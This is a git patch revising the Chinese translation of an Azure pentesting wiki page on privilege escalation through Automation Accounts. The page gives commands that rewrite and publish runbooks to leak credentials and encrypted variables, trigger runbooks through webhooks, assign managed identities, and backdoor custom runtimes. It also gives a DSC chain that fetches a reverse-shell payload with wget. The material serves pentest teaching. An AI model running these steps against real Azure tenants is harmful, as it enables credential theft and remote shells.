From 340f46d72e65f5112ba68969469de42bbb507878 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 9 May 2025 11:45:37 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- .../az-automation-accounts-privesc.md | 53 +++++++------------ 1 file changed, 19 insertions(+), 34 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 8c8483b82..f600d058d 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -14,9 +14,9 @@ - **从自动化账户到虚拟机** -请记住,如果攻击者能够在混合工作者中执行任意运行簿(任意代码),他将**转移到虚拟机的位置**。这可能是本地机器、不同云的VPC,甚至是Azure虚拟机。 +请记住,如果攻击者能够在混合工作者中执行任意运行书(任意代码),他将**转移到虚拟机的位置**。这可能是本地机器、不同云的VPC,甚至是Azure虚拟机。 -此外,如果混合工作者在Azure中运行并附加了其他托管身份,运行簿将能够访问**运行簿的托管身份以及虚拟机的所有托管身份,从元数据服务中获取**。 +此外,如果混合工作者在Azure中运行并附加了其他托管身份,运行书将能够访问**运行书的托管身份以及虚拟机的所有托管身份的元数据服务**。 > [!TIP] > 请记住,**元数据服务**的URL与获取自动化账户的托管身份令牌的服务(**`IDENTITY_ENDPOINT`**)不同(**`http://169.254.169.254`**)。 @@ -32,9 +32,9 @@ ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -总之,这些权限允许**创建、修改和运行自动化账户中的运行簿**,您可以利用这些权限在自动化账户的上下文中**执行代码**,并提升对分配的**托管身份**的权限,泄露**凭据**和存储在自动化账户中的**加密变量**。 +总之,这些权限允许**创建、修改和运行自动化账户中的运行书**,您可以利用这些权限在自动化账户的上下文中**执行代码**,并提升对分配的**托管身份**的权限,泄露**凭据**和存储在自动化账户中的**加密变量**。 -权限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**允许修改自动化账户中运行簿的代码: +权限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**允许修改自动化账户中运行书的代码: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -49,7 +49,7 @@ $creds.GetNetworkCredential().password' ``` 注意如何使用之前的脚本来**泄露用户和密码**以及存储在自动化帐户中的**加密变量**的值。 -权限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**允许用户在自动化帐户中发布运行簿,以便应用更改: +权限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**允许用户在自动化帐户中发布Runbook,以便应用更改: ```bash az automation runbook publish \ --resource-group \ @@ -75,7 +75,7 @@ az automation runbook create --automation-account-name --resource ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -此权限允许用户使用**分配用户管理的身份**到自动化帐户: +此权限允许用户使用以下方式**将用户管理的身份分配**给自动化帐户: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -138,27 +138,12 @@ az rest --method PUT \ ### `Microsoft.Automation/automationAccounts/webhooks/write` -拥有权限 **`Microsoft.Automation/automationAccounts/webhooks/write`**,可以使用以下命令在自动化帐户中为 Runbook 创建一个新的 Webhook。 - -请注意,您需要 **指明 webhook URI** 以及要使用的令牌。 +通过权限 **`Microsoft.Automation/automationAccounts/webhooks/write`**,可以使用以下命令在自动化帐户中为 Runbook 创建一个新的 Webhook。 +```bash +New-AzAutomationWebHook -Name -ResourceGroupName -AutomationAccountName -RunbookName -IsEnabled $true +``` +此命令应返回一个仅在创建时显示的 webhook URI。然后,使用 webhook URI 调用 runbook。 ```bash -az rest --method PUT \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ ---body '{ -"name": "", -"properties": { -"isEnabled": true, -"expiryTime": "2026-01-09T20:03:30.291Z", -"parameters": {}, -"runOn": null, -"runbook": { -"name": "" -}, -"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" -} -}' - -# Then, to call the runbook using the webhook curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ -H "Content-Length: 0" ``` @@ -205,7 +190,7 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -这将自动从Github存储库导入运行簿到自动化帐户,并且通过一些其他权限开始运行它们将**可能提升权限**。 +这将自动从Github存储库导入运行簿到自动化帐户,并且通过一些其他权限开始运行它们,**可能会提升权限**。 此外,请记住,要使源控制在自动化帐户中工作,它必须具有角色为**`Contributor`**的托管身份,如果是用户管理的身份,则必须在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中指定MI的客户端ID。 @@ -230,7 +215,7 @@ az rest --method PUT \ ``` ### 自定义运行时环境 -如果自动化帐户使用自定义运行时环境,则可能可以用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当使用该自定义运行时的运行簿被执行并加载自定义包时,恶意代码将被执行。 +如果一个自动化账户使用自定义运行时环境,可能会有机会用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当使用该自定义运行时的运行书被执行并加载自定义包时,恶意代码将被执行。 ### 破坏状态配置 @@ -239,14 +224,14 @@ az rest --method PUT \ - 第一步 — 创建文件 **所需文件:** 需要两个 PowerShell 脚本: -1. `reverse_shell_config.ps1`:一个获取并执行有效负载的期望状态配置(DSC)文件。可以从 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) 获取。 -2. `push_reverse_shell_config.ps1`:一个将配置发布到 VM 的脚本,位于 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。 +1. `reverse_shell_config.ps1`:一个获取并执行有效载荷的期望状态配置(DSC)文件。可以从 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) 获取。 +2. `push_reverse_shell_config.ps1`:一个将配置发布到虚拟机的脚本,位于 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。 -**定制:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效负载标识符。 +**定制化:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效载荷标识符。 - 第二步 — 压缩配置文件 -将 `reverse_shell_config.ps1` 压缩为 `.zip` 文件,以便准备传输到 Azure 存储帐户。 +将 `reverse_shell_config.ps1` 压缩成一个 `.zip` 文件,以便准备传输到 Azure 存储账户。 ```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` @@ -256,9 +241,9 @@ Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_she ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- 第 4 步 — 准备 Kali Box +- 第4步 — 准备Kali Box -Kali 服务器从 GitHub 仓库下载 RevPS.ps1 负载。 +Kali服务器从GitHub存储库下载RevPS.ps1有效负载。 ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ```